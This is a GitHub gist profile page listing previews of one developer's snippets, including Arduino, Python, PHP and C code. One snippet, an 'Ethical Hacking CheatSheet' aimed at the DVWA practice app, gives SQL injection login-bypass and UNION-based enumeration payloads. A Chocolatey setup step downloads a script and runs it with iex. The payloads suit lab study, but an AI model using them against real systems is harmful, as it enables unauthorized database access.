Skip to content

Instantly share code, notes, and snippets.

View softon's full-sized avatar

Shiburaj Pappu softon

View GitHub Profile
@softon
softon / sihlora.ino
Created December 21, 2023 10:56
SIH RCOE LORA Code
#include <Wire.h>
#include <SPI.h>
#include <LoRa.h>
#include <DHT.h>
#include <LiquidCrystal_I2C.h>
#define DHTPIN 5 //pin where the dht22 is connected
DHT dht(DHTPIN, DHT22);
#define ss 10
#define rst 9
@softon
softon / sqlite-crud-python.md
Last active April 11, 2022 04:38
SQLite CRUD using Python

SQLite CRUD using Python

Basic Structure

import sqlite3

# Open SQLIte database named mydb.db
conn = sqlite3.connect("mydb.db") 

# Create a cursor for executing queries
@softon
softon / choco.MD
Last active February 7, 2021 18:32

Chocolatey Developer Setup

Open PowerShell with Administrator rights and run following command.

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))

Next run the following command for installing all developer and other essential softwares softwares

  1. Essential Softwares
@softon
softon / hack.sql
Created September 12, 2020 07:01
Ethical Hacking CheatSheet
-- SQL Injection Login
' or 1=1 or '
-- Get Databases:
1' union select 1,table_schema from information_schema.tables union select 1,'1
-- Get Tables
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa' union select 1,'1
-- Get Columns
@softon
softon / Indian States and Cities list in php
Created June 10, 2020 17:14 — forked from Faizanq/Indian States and Cities list in php
Indian States and Cities array list in php
<?php
return [
'Andhra Pradesh (AP)'=>[
'Adilabad',
'Anantapur',
'Chittoor',
'Kakinada',
'Guntur',
@softon
softon / key.vbs
Created April 18, 2020 17:02
Get the Windows Key from your Operating System
Set WshShell = CreateObject("WScript.Shell")
MsgBox ConvertToKey(WshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId"))
Function ConvertToKey(Key)
Const KeyOffset = 52
i = 28
Chars = "BCDFGHJKMPQRTVWXY2346789"
Do
Cur = 0
x = 14
@softon
softon / shibu.h
Last active March 4, 2020 16:55
Simple Utility Library for C Language
/*********************************************************
..........................................................
...SSSSSSS....HHHH...HHHH.HIIII.BBBBBBBBBB...UUUU...UUUU..
..SSSSSSSSS...HHHH...HHHH.HIIII.BBBBBBBBBBB..UUUU...UUUU..
..SSSSSSSSSS..HHHH...HHHH.HIIII.BBBBBBBBBBB..UUUU...UUUU..
.SSSSS..SSSS..HHHH...HHHH.HIIII.BBBB...BBBB..UUUU...UUUU..
.SSSSS........HHHH...HHHH.HIIII.BBBB...BBBB..UUUU...UUUU..
..SSSSSSS.....HHHHHHHHHHH.HIIII.BBBBBBBBBBB..UUUU...UUUU..
...SSSSSSSSS..HHHHHHHHHHH.HIIII.BBBBBBBBBB...UUUU...UUUU..
.....SSSSSSS..HHHHHHHHHHH.HIIII.BBBBBBBBBBB..UUUU...UUUU..
@softon
softon / npp.bat
Created December 14, 2019 08:02
Notepad++ Compile and Execute Program (C,C++,JAVA,PYTHON)
npp_console 1 //open console
NPP_CONSOLE - //disable output of commands
npe_console m- //disable unnecessary output
con_colour bg= 191919 fg= F5F5F5 //set console colors
npp_save //save the file
cd $(CURRENT_DIRECTORY) //follow current directory
NPP_CONSOLE + //enable output
IF $(EXT_PART)==.c GOTO C //if .c file goto C label
IF $(EXT_PART)==.cpp GOTO CPP //if .cpp file goto CPP label
IF $(EXT_PART)==.java GOTO JAVA //if .java file goto JAVA label
@softon
softon / generateStrongPassword.php
Created June 15, 2016 13:55
Strong Password Generator
<?php
/**
* Code Snippet for Strong Password Generation
*
* @param int $length
* @param bool|false $add_dashes
* @param string $available_sets
* @return string
*/
function generateStrongPassword($length = 9, $add_dashes = false, $available_sets = 'luds')
@softon
softon / ArrayToCommaSeperatedString.php
Created June 15, 2016 13:47
Converts an Array to comma seperated string
<?php
function arrayToCommaSeperatedString($arr,$key=null){
$str = '';
if(is_null($key))
return $str;
foreach($arr as $arr_ele){
$str .= $$arr_ele[$key].", ";